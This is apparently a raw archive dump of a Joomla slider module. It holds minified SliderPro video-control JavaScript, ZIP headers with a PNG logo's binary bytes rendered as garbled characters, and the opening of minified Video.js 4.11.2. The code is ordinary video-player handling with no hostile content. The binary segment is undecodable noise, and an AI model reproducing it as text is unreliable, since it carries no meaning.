c="Video."+b.SliderPro.namespace,d={firstInit:!1,initVideo:function(){this.on("update."+c,b.proxy(this._videoOnUpdate,this)),this.on("gotoSlide."+c,b.proxy(this._videoOnGotoSlide,this)),this.on("gotoSlideComplete."+c,b.proxy(this._videoOnGotoSlideComplete,this))},_videoOnUpdate:function(){var a=this;this.$slider.find(".sp-video").not("a, [data-video-init]").each(function(){var c=b(this);a._initVideo(c)}),this.$slider.find("a.sp-video").not("[data-video-preinit]").each(function(){var c=b(this);a._preinitVideo(c)}),this.firstInit===!1&&(this.firstInit=!0,this._videoOnGotoSlideComplete({index:this.selectedSlideIndex,previousIndex:-1}))},_initVideo:function(a){var d=this;a.attr("data-video-init",!0).videoController(),a.on("videoPlay."+c,function(){"stopAutoplay"===d.settings.playVideoAction&&"undefined"!=typeof d.stopAutoplay&&(d.stopAutoplay(),d.settings.autoplay=!1);var c={type:"videoPlay",video:a};d.trigger(c),b.isFunction(d.settings.videoPlay)&&d.settings.videoPlay.call(d,c)}),a.on("videoPause."+c,function(){"startAutoplay"===d.settings.pauseVideoAction&&"undefined"!=typeof d.startAutoplay&&(d.stopAutoplay(),d.startAutoplay(),d.settings.autoplay=!0);var c={type:"videoPause",video:a};d.trigger(c),b.isFunction(d.settings.videoPause)&&d.settings.videoPause.call(d,c)}),a.on("videoEnded."+c,function(){"startAutoplay"===d.settings.endVideoAction&&"undefined"!=typeof d.startAutoplay?(d.stopAutoplay(),d.startAutoplay(),d.settings.autoplay=!0):"nextSlide"===d.settings.endVideoAction?d.nextSlide():"replayVideo"===d.settings.endVideoAction&&a.videoController("replay");var c={type:"videoEnd",video:a};d.trigger(c),b.isFunction(d.settings.videoEnd)&&d.settings.videoEnd.call(d,c)})},_preinitVideo:function(a){var d=this;a.attr("data-video-preinit",!0),a.on("click."+c,function(c){if(!d.$slider.hasClass("sp-swiping")){c.preventDefault();var e,f,g,h,i,j,k,l=a.attr("href"),m=a.children("img").attr("width")||a.children("img").width(),n=a.children("img").attr("height")||a.children("img").height();-1!==l.indexOf("youtube")||-1!==l.indexOf("youtu.be")?f="youtube":-1!==l.indexOf("vimeo")&&(f="vimeo"),g="youtube"===f?/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=)([^#\&\?]*).*/:/http:\/\/(www\.)?vimeo.com\/(\d+)/,h=l.match(g),i=h[2],j="youtube"===f?"//www.youtube.com/embed/"+i+"?enablejsapi=1&wmode=opaque":"//player.vimeo.com/video/"+i,k=l.split("?")[1],"undefined"!=typeof k&&(k=k.split("&"),b.each(k,function(a,b){-1===b.indexOf(i)&&(j+="&"+b)})),e=b("<iframe></iframe>").attr({src:j,width:m,height:n,"class":a.attr("class"),frameborder:0,allowfullscreen:"allowfullscreen"}).insertBefore(a),d._initVideo(e),e.videoController("play"),a.css("display","none")}})},_videoOnGotoSlide:function(a){var b=this.$slides.find(".sp-slide").eq(a.previousIndex).find(".sp-video[data-video-init]");-1!==a.previousIndex&&0!==b.length&&("stopVideo"===this.settings.leaveVideoAction?b.videoController("stop"):"pauseVideo"===this.settings.leaveVideoAction?b.videoController("pause"):"removeVideo"===this.settings.leaveVideoAction&&(0!==b.siblings("a.sp-video").length?(b.siblings("a.sp-video").css("display",""),b.videoController("destroy"),b.remove()):b.videoController("stop")))},_videoOnGotoSlideComplete:function(a){if("playVideo"===this.settings.reachVideoAction&&a.index===this.selectedSlideIndex){var b=this.$slides.find(".sp-slide").eq(a.index).find(".sp-video[data-video-init]"),d=this.$slides.find(".sp-slide").eq(a.index).find(".sp-video[data-video-preinit]");0!==b.length?b.videoController("play"):0!==d.length&&d.trigger("click."+c),0===b.length&&0===d.length||"stopAutoplay"!==this.settings.playVideoAction||"undefined"==typeof this.stopAutoplay||(this.stopAutoplay(),this.settings.autoplay=!1)}},destroyVideo:function(){this.$slider.find(".sp-video[ data-video-preinit ]").each(function(){var a=b(this);a.removeAttr("data-video-preinit"),a.off("click."+c)}),this.$slider.find(".sp-video[ data-video-init ]").each(function(){var a=b(this);a.removeAttr("data-video-init"),a.off("Video"),a.videoController("destroy")}),this.off("update."+c),this.off("gotoSlide."+c),this.off("gotoSlideComplete."+c)},videoDefaults:{reachVideoAction:"none",leaveVideoAction:"pauseVideo",playVideoAction:"stopAutoplay",pauseVideoAction:"none",endVideoAction:"none",videoPlay:function(){},videoPause:function(){},videoEnd:function(){}}};b.SliderPro.addModule("Video",d)}(window,jQuery),function(a){"use strict";var b=window.navigator.userAgent.match(/(iPad|iPhone|iPod)/g)?!0:!1,c=function(b,c){this.$video=a(b),this.options=c,this.settings={},this.player=null,this._init()};c.prototype={_init:function(){this.settings=a.extend({},this.defaults,this.options);var b=this,c=a.VideoController.players,d=this.$video.attr("id");for(var e in c)if("undefined"!=typeof c[e]&&c[e].isType(this.$video)){this.player=new c[e](this.$video);break}if(null!==this.player){var f=["ready","start","play","pause","ended"];a.each(f,function(c,e){var f="video"+e.charAt(0).toUpperCase()+e.slice(1);b.player.on(e,function(){b.trigger({type:f,video:d}),a.isFunction(b.settings[f])&&b.settings[f].call(b,{type:f,video:d})})})}},play:function(){b===!0&&this.player.isStarted()===!1||"playing"===this.player.getState()||this.player.play()},stop:function(){b===!0&&this.player.isStarted()===!1||"stopped"===this.player.getState()||this.player.stop()},pause:function(){b===!0&&this.player.isStarted()===!1||"paused"===this.player.getState()||this.player.pause()},replay:function(){(b!==!0||this.player.isStarted()!==!1)&&this.player.replay()},on:function(a,b){return this.$video.on(a,b)},off:function(a){return this.$video.off(a)},trigger:function(a){return this.$video.triggerHandler(a)},destroy:function(){this.player.isStarted()===!0&&this.stop(),this.player.off("ready"),this.player.off("start"),this.player.off("play"),this.player.off("pause"),this.player.off("ended"),this.$video.removeData("videoController")},defaults:{videoReady:function(){},videoStart:function(){},videoPlay:function(){},videoPause:function(){},videoEnded:function(){}}},a.VideoController={players:{},addPlayer:function(a,b){this.players[a]=b}},a.fn.videoController=function(b){var d=Array.prototype.slice.call(arguments,1);return this.each(function(){if("undefined"==typeof a(this).data("videoController")){var e=new c(this,b);a(this).data("videoController",e)}else if("undefined"!=typeof b){var f=a(this).data("videoController");"function"==typeof f[b]?f[b].apply(f,d):a.error(b+" does not exist in videoController.")}})};var d=function(b){this.$video=b,this.player=null,this.ready=!1,this.started=!1,this.state="",this.events=a({}),this._init()};d.prototype={_init:function(){},play:function(){},pause:function(){},stop:function(){},replay:function(){},isType:function(){},isReady:function(){return this.ready},isStarted:function(){return this.started},getState:function(){return this.state},on:function(a,b){return this.events.on(a,b)},off:function(a){return this.events.off(a)},trigger:function(a){return this.events.triggerHandler(a)}};var e={youtubeAPIAdded:!1,youtubeVideos:[]},f=function(b){this.init=!1;var c=window.YT&&window.YT.Player;if("undefined"!=typeof c)d.call(this,b);else if(e.youtubeVideos.push({video:b,scope:this}),e.youtubeAPIAdded===!1){e.youtubeAPIAdded=!0;var f=document.createElement("script");f.src="//www.youtube.com/player_api";var g=document.getElementsByTagName("script")[0];g.parentNode.insertBefore(f,g),window.onYouTubePlayerAPIReady=function(){a.each(e.youtubeVideos,function(a,b){d.call(b.scope,b.video)})}}};f.prototype=new d,f.prototype.constructor=f,a.VideoController.addPlayer("YoutubeVideo",f),f.isType=function(a){if(a.is("iframe")){var b=a.attr("src");if(-1!==b.indexOf("youtube.com")||-1!==b.indexOf("youtu.be"))return!0}return!1},f.prototype._init=function(){this.init=!0,this._setup()},f.prototype._setup=function(){var a=this;this.player=new YT.Player(this.$video[0],{events:{onReady:function(){a.trigger({type:"ready"}),a.ready=!0},onStateChange:function(b){switch(b.data){case YT.PlayerState.PLAYING:a.started===!1&&(a.started=!0,a.trigger({type:"start"})),a.state="playing",a.trigger({type:"play"});break;case YT.PlayerState.PAUSED:a.state="paused",a.trigger({type:"pause"});break;case YT.PlayerState.ENDED:a.state="ended",a.trigger({type:"ended"})}}}})},f.prototype.play=function(){var a=this;if(this.ready===!0)this.player.playVideo();else var b=setInterval(function(){a.ready===!0&&(clearInterval(b),a.player.playVideo())},100)},f.prototype.pause=function(){b===!0?this.stop():this.player.pauseVideo()},f.prototype.stop=function(){this.player.seekTo(1),this.player.stopVideo(),this.state="stopped"},f.prototype.replay=function(){this.player.seekTo(1),this.player.playVideo()},f.prototype.on=function(a,b){var c=this;if(this.init===!0)d.prototype.on.call(this,a,b);else var e=setInterval(function(){c.init===!0&&(clearInterval(e),d.prototype.on.call(c,a,b))},100)};var g={vimeoAPIAdded:!1,vimeoVideos:[]},h=function(b){if(this.init=!1,"undefined"!=typeof window.Vimeo)d.call(this,b);else if(g.vimeoVideos.push({video:b,scope:this}),g.vimeoAPIAdded===!1){g.vimeoAPIAdded=!0;var c=document.createElement("script");c.src="//player.vimeo.com/api/player.js";var e=document.getElementsByTagName("script")[0];e.parentNode.insertBefore(c,e);var f=setInterval(function(){"undefined"!=typeof window.Vimeo&&(clearInterval(f),a.each(g.vimeoVideos,function(a,b){d.call(b.scope,b.video)}))},100)}};h.prototype=new d,h.prototype.constructor=h,a.VideoController.addPlayer("VimeoVideo",h),h.isType=function(a){if(a.is("iframe")){var b=a.attr("src");if(-1!==b.indexOf("vimeo.com"))return!0}return!1},h.prototype._init=function(){this.init=!0,this._setup()},h.prototype._setup=function(){var a=this;this.player=new Vimeo.Player(this.$video[0]),a.ready=!0,a.trigger({type:"ready"}),a.player.on("play",function(){a.started===!1&&(a.started=!0,a.trigger({type:"start"})),a.state="playing",a.trigger({type:"play"})}),a.player.on("pause",function(){a.state="paused",a.trigger({type:"pause"})}),a.player.on("ended",function(){a.state="ended",a.trigger({type:"ended"})})},h.prototype.play=function(){var a=this;if(this.ready===!0)this.player.play();else var b=setInterval(function(){a.ready===!0&&(clearInterval(b),a.player.play())},100)},h.prototype.pause=function(){this.player.pause()},h.prototype.stop=function(){var a=this;this.player.setCurrentTime(0).then(function(){a.player.pause(),a.state="stopped"})},h.prototype.replay=function(){var a=this;this.player.setCurrentTime(0).then(function(){a.player.play()})},h.prototype.on=function(a,b){var c=this;if(this.init===!0)d.prototype.on.call(this,a,b);else var e=setInterval(function(){c.init===!0&&(clearInterval(e),d.prototype.on.call(c,a,b))},100)};var i=function(a){d.call(this,a)};i.prototype=new d,i.prototype.constructor=i,a.VideoController.addPlayer("HTML5Video",i),i.isType=function(a){return a.is("video")&&a.hasClass("video-js")===!1&&a.hasClass("sublime")===!1?!0:!1},i.prototype._init=function(){var a=this;this.player=this.$video[0];var b=setInterval(function(){4===a.player.readyState&&(clearInterval(b),a.ready=!0,a.trigger({type:"ready"}),a.player.addEventListener("play",function(){a.started===!1&&(a.started=!0,a.trigger({type:"start"})),a.state="playing",a.trigger({type:"play"})}),a.player.addEventListener("pause",function(){a.state="paused",a.trigger({type:"pause"})}),a.player.addEventListener("ended",function(){a.state="ended",a.trigger({type:"ended"})}))},100)},i.prototype.play=function(){var a=this;if(this.ready===!0)this.player.play();else var b=setInterval(function(){a.ready===!0&&(clearInterval(b),a.player.play())},100)},i.prototype.pause=function(){this.player.pause()},i.prototype.stop=function(){this.player.currentTime=0,this.player.pause(),this.state="stopped"},i.prototype.replay=function(){this.player.currentTime=0,
this.player.play()};var j=function(a){d.call(this,a)};j.prototype=new d,j.prototype.constructor=j,a.VideoController.addPlayer("VideoJSVideo",j),j.isType=function(a){return"undefined"==typeof a.attr("data-videojs-id")&&!a.hasClass("video-js")||"undefined"==typeof videojs?!1:!0},j.prototype._init=function(){var a=this,b=this.$video.hasClass("video-js")?this.$video.attr("id"):this.$video.attr("data-videojs-id");this.player=videojs(b),this.player.ready(function(){a.ready=!0,a.trigger({type:"ready"}),a.player.on("play",function(){a.started===!1&&(a.started=!0,a.trigger({type:"start"})),a.state="playing",a.trigger({type:"play"})}),a.player.on("pause",function(){a.state="paused",a.trigger({type:"pause"})}),a.player.on("ended",function(){a.state="ended",a.trigger({type:"ended"})})})},j.prototype.play=function(){this.player.play()},j.prototype.pause=function(){this.player.pause()},j.prototype.stop=function(){this.player.currentTime(0),this.player.pause(),this.state="stopped"},j.prototype.replay=function(){this.player.currentTime(0),this.player.play()};var k=function(a){d.call(this,a)};k.prototype=new d,k.prototype.constructor=k,a.VideoController.addPlayer("SublimeVideo",k),k.isType=function(a){return a.hasClass("sublime")&&"undefined"!=typeof sublime?!0:!1},k.prototype._init=function(){var a=this;sublime.ready(function(){a.player=sublime.player(a.$video.attr("id")),a.ready=!0,a.trigger({type:"ready"}),a.player.on("play",function(){a.started===!1&&(a.started=!0,a.trigger({type:"start"})),a.state="playing",a.trigger({type:"play"})}),a.player.on("pause",function(){a.state="paused",a.trigger({type:"pause"})}),a.player.on("stop",function(){a.state="stopped",a.trigger({type:"stop"})}),a.player.on("end",function(){a.state="ended",a.trigger({type:"ended"})})})},k.prototype.play=function(){this.player.play()},k.prototype.pause=function(){this.player.pause()},k.prototype.stop=function(){this.player.stop()},k.prototype.replay=function(){this.player.stop(),this.player.play()};var l=function(a){d.call(this,a)};l.prototype=new d,l.prototype.constructor=l,a.VideoController.addPlayer("JWPlayerVideo",l),l.isType=function(a){return"undefined"==typeof a.attr("data-jwplayer-id")&&!a.hasClass("jwplayer")&&0===a.find("object[data*='jwplayer']").length||"undefined"==typeof jwplayer?!1:!0},l.prototype._init=function(){var a,b=this;this.$video.hasClass("jwplayer")?a=this.$video.attr("id"):"undefined"!=typeof this.$video.attr("data-jwplayer-id")?a=this.$video.attr("data-jwplayer-id"):0!==this.$video.find("object[data*='jwplayer']").length&&(a=this.$video.find("object").attr("id")),this.player=jwplayer(a),this.player.onReady(function(){b.ready=!0,b.trigger({type:"ready"}),b.player.onPlay(function(){b.started===!1&&(b.started=!0,b.trigger({type:"start"})),b.state="playing",b.trigger({type:"play"})}),b.player.onPause(function(){b.state="paused",b.trigger({type:"pause"})}),b.player.onComplete(function(){b.state="ended",b.trigger({type:"ended"})})})},l.prototype.play=function(){this.player.play(!0)},l.prototype.pause=function(){this.player.pause(!0)},l.prototype.stop=function(){this.player.stop(),this.state="stopped"},l.prototype.replay=function(){this.player.seek(0),this.player.play(!0)}}(jQuery);PK!�
wzzDmod_ap_smart_layerslider/assets/js/video_js/video.js-logo-137x20.pngnu&1i��PNG


IHDR���TtEXtSoftwareAdobe ImageReadyq�e<$iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:E6333C97977111E48F63A27A955CC8B2" xmpMM:InstanceID="xmp.iid:E6333C96977111E48F63A27A955CC8B2" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6237466917C611E38DC9FCAECA773C9F" stRef:documentID="xmp.did:6237466A17C611E38DC9FCAECA773C9F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>k��IDATxڜZytTU����*IH���-l�4� ���QD���Y�Y��e�A�mf�0�z�?hm�ed�؍��("��*$K�JH �B�JU�j~�[��GB�;y��r�w��}�o�1�,��`��69��w�A�������]�Q�W^yo�X{�5���3��r��F�Q^�����-��u``�����G�L&���"����;>[�r�x��ELL�hnn��¼|OڤE��|�l6q��51u�Tq��my�o���E]]��ѣ�2d��/88X���˗/��.�yH��t�k�'$$D��v��� yikkUUU��K�.�&M��^�*��o���寒
ߓ�ڵk��ɓ�͛7���
��*eŹ9e*�,Y"Ν;'RRRDϞ=ţ�>*ƌ#�9y���̔2�,�~��=�GX�C���%�v����
S�5/~�~��]����`n��C	���s��hXS�{����^.����M8)�Z$�h�^-X	K=�a8P��V�<%P���%H)P��X�n��6�o�;�y�C?��zG4��������6q�������
�Jf��Z}}=y0bL��S��C+#5w���@����bԼ�>�����g�?�L|q�'��������0���x���x����0~��A£	
̴GFF��F�މ�,�6[	��$�x�eaaao�B*a!�����q�b��/^��̰DScc�,X�OQQQ(�ޅwC1_�Z�It�`��x�����&z~OOPVV��	Vy�>�$4��Ej
z�@��@�u��}���m۶Y��f<��_`̇8���RɔAZZ�8��T����^����O1�¾���ǎ��r�~��6<s�ĉߎ��}�֭[Q��=..�f��񙹹�����N�i6h��y��QI)[m��9?�Gf�,�i���P���C
!�$B{ĉ�=�E#��R(���8[�DXL�mLv[SC:�CJ���\;Q!�M�k��z�:��q���<�6��x	ˈP�۲eK�ܹsE�>}������4|��\(���B��$�

��P�o�@Xo�O��E��]XXH`���$9t����<
�qCT�S�O�\k��
�R�

�a���U�v:��5����0���_�1�1�a��^䯤�$�!ʗc���lٲ�P�@��KNN�4h����ԛ;v�j6�BA�!���y�D����9��������r������ҁ4���-=dD"-�hkH�hG򸝢GҐ}e�燸�5���&,&� ��.P���:��p���).R�Z\}�VH�Һkjj>���X����!D�1����V'��ܯ>(��e6/��8�g��&&&��S�@�Y(�3E�sҽ3'��4������P�W����������U?%=5�
��\��V ��z=�7��Q�	�^|��O�
?s0�=5g��	Sy`���iLvsG|���{N�����P~1
���J��*ݢ�D͍<���&�02'��c����3��h����b��&Y��ӿHP��8� �I�%P�^,f���Nâ^��)��k
�,� ��%q�)OS��z���jA�a�5(A���x�ʛX\\Lk�0:'���D�{�_X���J�*@��x�$@4��p��^�k��{������)�v��m�Hǻk&��ׇ�$7"=���#GN�*++%_�O����={>�;��G
0���{쩭[�������"�C����z�F*��[%�"�D��!8�.\-���_�^�c�wD�~���(�3.�W���:�n����V�>a-�x>���3z�?�B�Q`�Rb�΃^�94_A�v
s�c��}<O���uxB����ݻ��|���2,�i�X~
0�8��O(�(|I�<*@Y�<�V
Z)�GxV�G�������RZ=��
�w�����/��t則N�ۋ���Ὣ

v����.�`�޴i��'Nl�څ��[����ދ���XyK�~�5?$a�HM�i�ڠ�n���5��j�0�%@T.�g�2�5��FI-�RHT�K�TKd�z�`� �!�o��l�h0��r�Xf�]��Pާ|�=@�La�$H)t�x�3�ZT�wsi�|OP�	�@a3����%�x�^�<��W
J�W���J	@UAqN��J%��}����O�F~Y��W}�Ϭ�,���_��k�hG��W�TQ��d�D�+>��=����l1�7ω�q6T�����H��xq~�F�s��{bx�&�bl�?<��K7�ҲL���q67 �M���ڔ�R[učŶ"�	
m`��E��4Yx��i��n�B�{f��?p�������y������@�?�����N$����8w�O��3��@����?�#܏�~���R���(��@g�f��P��ʣ(O„�_�~�VO��$��I8��	T���)�C�Ծ}�N��#��wû�g�d%dF���cZ}�
�8l�WJU�*D6��`��k���i�����Ƌq��u��fCu�q��EhdO�\W)s{�A�+�m�1��UC@�j�|
a�퓃�����eL� ���]�*�d�_r(�@0R�T�V)\�j�#1�$��]W�i`�	^f���@��/��`��&�e�H�1s�qN��U��@��W�7"0�x�[U2�f$}���3'�:)+|S�y�����`��y�#�w��@c�\�����'	A<&�?6��2�/&r:Z:
LPk�r<��*������ $��f:�R�����
����5&��5��l-��!�YT
?�3��2|���T�aEs/��P]\?wmS��u1������lpz��ӛ��Ky!\۴|�װ�b䁡HS�͏�6}'��f�������T@a}��ɴ����(�Wa]�@y$
�F`�E��7�bF�;;f�0{hT���7�|.�8K���vW�i��Q}�&Z�ѽ��K��k���.G�]��jٛᑫ
���Fd���E���Y�5�g�7b�c���u��ӺY�,�k���w�rǰ����8�T CŃzңEb.i�=��R)T�d�R�lٲ޳�βQV��B��2�L:�Ἡ��X��/�9G����B*�9�ʽ4/�|a���А��@DZ�>y�H�kм�[ؠ]��烷�9z���|�6ag.�k�
X-N�>}�4�����m-�%�5j��E�P�D
#r*Pr��]��CE��Ѣ��T���D�<��,��7T�B@�KV5U���Y���9|
'(� �C��* �MX�#��!�MY�/�G�E2�S��%����"}��u����c�b}1x<e��+u…���s��<?�h
4 'x��QjA�o�䘡�]����ҹ���J�*�"x�|^s.x����H����{���gDe�փrܸq�hzz����j>��,��_!�������(w�FP��iQ�wIE���s[S�Hxx�H�k��Лx���,� тҺ�$_�L�u;kK
��y����fT�����*�X��z#�p^S���i�q�3 ���p����;�� >�o�^��h��kn�������G����Y�}�%��
�	�q?��:��>�aÆɼ��y'0��NY�p��'���H ��g�|#�sk-�2&�%�{�ܹ�̞=��z�Oʀr�z��d�B��,sx�ֆ����s�R���y����(�R��Hb�:�b
I�~R�]� ښei,�7�b���r2ۂ���T]tm���Q^D�5�`A?���N����&��A��r����iI|�  ����%�N7��x�>��k҃P�C�W)D�ΦV"���w�B~I�]���zW�-󾆱G�Ĕ�\��xV��̻���$�|V���	�	x�lz>x�a�?���w�����'�xUUL�>%%%'ؕf�:���ֳ��I��@s7����3g�O���d�����0���e���疠���
�7EΉ�b��y�lu9Z��`��^��Y�3�Q6�:�&���^u��o��jn�ȹ2���@��d05K��Q���	��/��v�;Z�C\�,���jg�%U�h�<��ά�U����ie��W�p��_��.,�]�9�/�t^`!�ߪ\7k�䫶�D: }�a�{��ydž
������G	A�Jo%�C�1�Јh@�Rv"�d1ae��z+�EF�5��)C�C i��سg��;(��+u�y+-��d$��o��yg�)fȝ]����#"��0[���8O��
������"I����P�\G��IG
��d�b���X6�����=jc3�:b��F.V�

22��ܮJ���=0�/��'�#ƾ
a�%�\VP�A�i#X��R��H�*�h�&��н��4<@�R1��N��y����/Ƶ��=���2��C�ͩӧO/��{�ȑ��z+-����3gmܸq��s9rdF~~������>���-�I�֭�{���C:��5�ٳ�
��-:.���ȵ�{���(=B��kҢ�i��nc�(������pX*�����;�ZH9��+�]�z�s�Ν�s��`,ee���%���q�H��+**؏qqq���B��~��������:�7z�	&����7��ຶ���CjJ��U�$;;[uK�C)��NII�
��`��v�ٳg�c�N�_���
3x����ɩ999.��<~��2��u����NƗ"�s�֭�T����)�rss�.//�ש(�'�I܁F>�ृϴK�.��a�bJO�v9�U������Il�W�wX�=:5���#'�����6x���a�^�_�ba�aҦY��%:!ȷ��-_�\�G�3L���'<�p�DW�1|N+��֘��Y�@Ғb��w��6$
(����f�u��(�LbUi���U�
`�1bÆ!���Ȑ�0����8/�o�|��l���N�4����\3T�gCC0��C�5�-H���1?"LIz��/��[�n�z��w�4ԗ�D��54����7GL�5e��Ο:���/-u����ԢX��/R�z��CF��d��W��Ė����R`�Q'�;�ST̳3CPtԾ
��a�n���'�ߨ�	c#�HV-���/<^	R�#�������Ǡl��Xg�5~�oɧ�wP�7���`x �C�Ņ�IEND�B`�PK!��?��4mod_ap_smart_layerslider/assets/js/video_js/video.jsnu&1i�/*! Video.js v4.11.2 Copyright 2014 Brightcove, Inc. https://github.com/videojs/video.js/blob/master/LICENSE */ 
(function() {var b=void 0,f=!0,k=null,l=!1;function m(){return function(){}}function n(a){return function(){return this[a]}}function r(a){return function(){return a}}var s;document.createElement("video");document.createElement("audio");document.createElement("track");function t(a,c,d){if("string"===typeof a){0===a.indexOf("#")&&(a=a.slice(1));if(t.Fa[a])return t.Fa[a];a=t.w(a)}if(!a||!a.nodeName)throw new TypeError("The element or ID supplied is not valid. (videojs)");return a.player||new t.Player(a,c,d)}
var videojs=window.videojs=t;t.Yb="4.11";t.ed="https:"==document.location.protocol?"https://":"http://";
t.options={techOrder:["html5","flash"],html5:{},flash:{},width:300,height:150,defaultVolume:0,playbackRates:[],inactivityTimeout:2E3,children:{mediaLoader:{},posterImage:{},textTrackDisplay:{},loadingSpinner:{},bigPlayButton:{},controlBar:{},errorDisplay:{}},language:document.getElementsByTagName("html")[0].getAttribute("lang")||navigator.languages&&navigator.languages[0]||navigator.Me||navigator.language||"en",languages:{},notSupportedMessage:"No compatible source was found for this video."};
"GENERATED_CDN_VSN"!==t.Yb&&(videojs.options.flash.swf=t.ed+"vjs.zencdn.net/"+t.Yb+"/video-js.swf");t.sd=function(a,c){t.options.languages[a]=t.options.languages[a]!==b?t.Z.Ea(t.options.languages[a],c):c;return t.options.languages};t.Fa={};"function"===typeof define&&define.amd?define([],function(){return videojs}):"object"===typeof exports&&"object"===typeof module&&(module.exports=videojs);t.ua=t.CoreObject=m();
t.ua.extend=function(a){var c,d;a=a||{};c=a.init||a.i||this.prototype.init||this.prototype.i||m();d=function(){c.apply(this,arguments)};d.prototype=t.h.create(this.prototype);d.prototype.constructor=d;d.extend=t.ua.extend;d.create=t.ua.create;for(var e in a)a.hasOwnProperty(e)&&(d.prototype[e]=a[e]);return d};t.ua.create=function(){var a=t.h.create(this.prototype);this.apply(a,arguments);return a};
t.c=function(a,c,d){if(t.h.isArray(c))return u(t.c,a,c,d);var e=t.getData(a);e.C||(e.C={});e.C[c]||(e.C[c]=[]);d.p||(d.p=t.p++);e.C[c].push(d);e.W||(e.disabled=l,e.W=function(c){if(!e.disabled){c=t.zc(c);var d=e.C[c.type];if(d)for(var d=d.slice(0),j=0,p=d.length;j<p&&!c.Gc();j++)d[j].call(a,c)}});1==e.C[c].length&&(a.addEventListener?a.addEventListener(c,e.W,l):a.attachEvent&&a.attachEvent("on"+c,e.W))};
t.k=function(a,c,d){if(t.Bc(a)){var e=t.getData(a);if(e.C){if(t.h.isArray(c))return u(t.k,a,c,d);if(c){var g=e.C[c];if(g){if(d){if(d.p)for(e=0;e<g.length;e++)g[e].p===d.p&&g.splice(e--,1)}else e.C[c]=[];t.pc(a,c)}}else for(g in e.C)c=g,e.C[c]=[],t.pc(a,c)}}};t.pc=function(a,c){var d=t.getData(a);0===d.C[c].length&&(delete d.C[c],a.removeEventListener?a.removeEventListener(c,d.W,l):a.detachEvent&&a.detachEvent("on"+c,d.W));t.Kb(d.C)&&(delete d.C,delete d.W,delete d.disabled);t.Kb(d)&&t.Pc(a)};
t.zc=function(a){function c(){return f}function d(){return l}if(!a||!a.Lb){var e=a||window.event;a={};for(var g in e)"layerX"!==g&&("layerY"!==g&&"keyLocation"!==g)&&("returnValue"==g&&e.preventDefault||(a[g]=e[g]));a.target||(a.target=a.srcElement||document);a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;a.preventDefault=function(){e.preventDefault&&e.preventDefault();a.returnValue=l;a.Nd=c;a.defaultPrevented=f};a.Nd=d;a.defaultPrevented=l;a.stopPropagation=function(){e.stopPropagation&&
e.stopPropagation();a.cancelBubble=f;a.Lb=c};a.Lb=d;a.stopImmediatePropagation=function(){e.stopImmediatePropagation&&e.stopImmediatePropagation();a.Gc=c;a.stopPropagation()};a.Gc=d;if(a.clientX!=k){g=document.documentElement;var h=document.body;a.pageX=a.clientX+(g&&g.scrollLeft||h&&h.scrollLeft||0)-(g&&g.clientLeft||h&&h.clientLeft||0);a.pageY=a.clientY+(g&&g.scrollTop||h&&h.scrollTop||0)-(g&&g.clientTop||h&&h.clientTop||0)}a.which=a.charCode||a.keyCode;a.button!=k&&(a.button=a.button&1?0:a.button&
4?1:a.button&2?2:0)}return a};t.l=function(a,c){var d=t.Bc(a)?t.getData(a):{},e=a.parentNode||a.ownerDocument;"string"===typeof c&&(c={type:c,target:a});c=t.zc(c);d.W&&d.W.call(a,c);if(e&&!c.Lb()&&c.bubbles!==l)t.l(e,c);else if(!e&&!c.defaultPrevented&&(d=t.getData(c.target),c.target[c.type])){d.disabled=f;if("function"===typeof c.target[c.type])c.target[c.type]();d.disabled=l}return!c.defaultPrevented};
t.Q=function(a,c,d){function e(){t.k(a,c,e);d.apply(this,arguments)}if(t.h.isArray(c))return u(t.Q,a,c,d);e.p=d.p=d.p||t.p++;t.c(a,c,e)};function u(a,c,d,e){t.mc.forEach(d,function(d){a(c,d,e)})}var v=Object.prototype.hasOwnProperty;t.e=function(a,c){var d;c=c||{};d=document.createElement(a||"div");t.h.X(c,function(a,c){-1!==a.indexOf("aria-")||"role"==a?d.setAttribute(a,c):d[a]=c});return d};t.ba=function(a){return a.charAt(0).toUpperCase()+a.slice(1)};t.h={};
t.h.create=Object.create||function(a){function c(){}c.prototype=a;return new c};t.h.X=function(a,c,d){for(var e in a)v.call(a,e)&&c.call(d||this,e,a[e])};t.h.z=function(a,c){if(!c)return a;for(var d in c)v.call(c,d)&&(a[d]=c[d]);return a};t.h.Ad=function(a,c){var d,e,g;a=t.h.copy(a);for(d in c)v.call(c,d)&&(e=a[d],g=c[d],a[d]=t.h.Ya(e)&&t.h.Ya(g)?t.h.Ad(e,g):c[d]);return a};t.h.copy=function(a){return t.h.z({},a)};
t.h.Ya=function(a){return!!a&&"object"===typeof a&&"[object Object]"===a.toString()&&a.constructor===Object};t.h.isArray=Array.isArray||function(a){return"[object Array]"===Object.prototype.toString.call(a)};t.Pd=function(a){return a!==a};t.bind=function(a,c,d){function e(){return c.apply(a,arguments)}c.p||(c.p=t.p++);e.p=d?d+"_"+c.p:c.p;return e};t.xa={};t.p=1;t.expando="vdata"+(new Date).getTime();t.getData=function(a){var c=a[t.expando];c||(c=a[t.expando]=t.p++,t.xa[c]={});return t.xa[c]};
t.Bc=function(a){a=a[t.expando];return!(!a||t.Kb(t.xa[a]))};t.Pc=function(a){var c=a[t.expando];if(c){delete t.xa[c];try{delete a[t.expando]}catch(d){a.removeAttribute?a.removeAttribute(t.expando):a[t.expando]=k}}};t.Kb=function(a){for(var c in a)if(a[c]!==k)return l;return f};t.Xa=function(a,c){return-1!==(" "+a.className+" ").indexOf(" "+c+" ")};t.n=function(a,c){t.Xa(a,c)||(a.className=""===a.className?c:a.className+" "+c)};
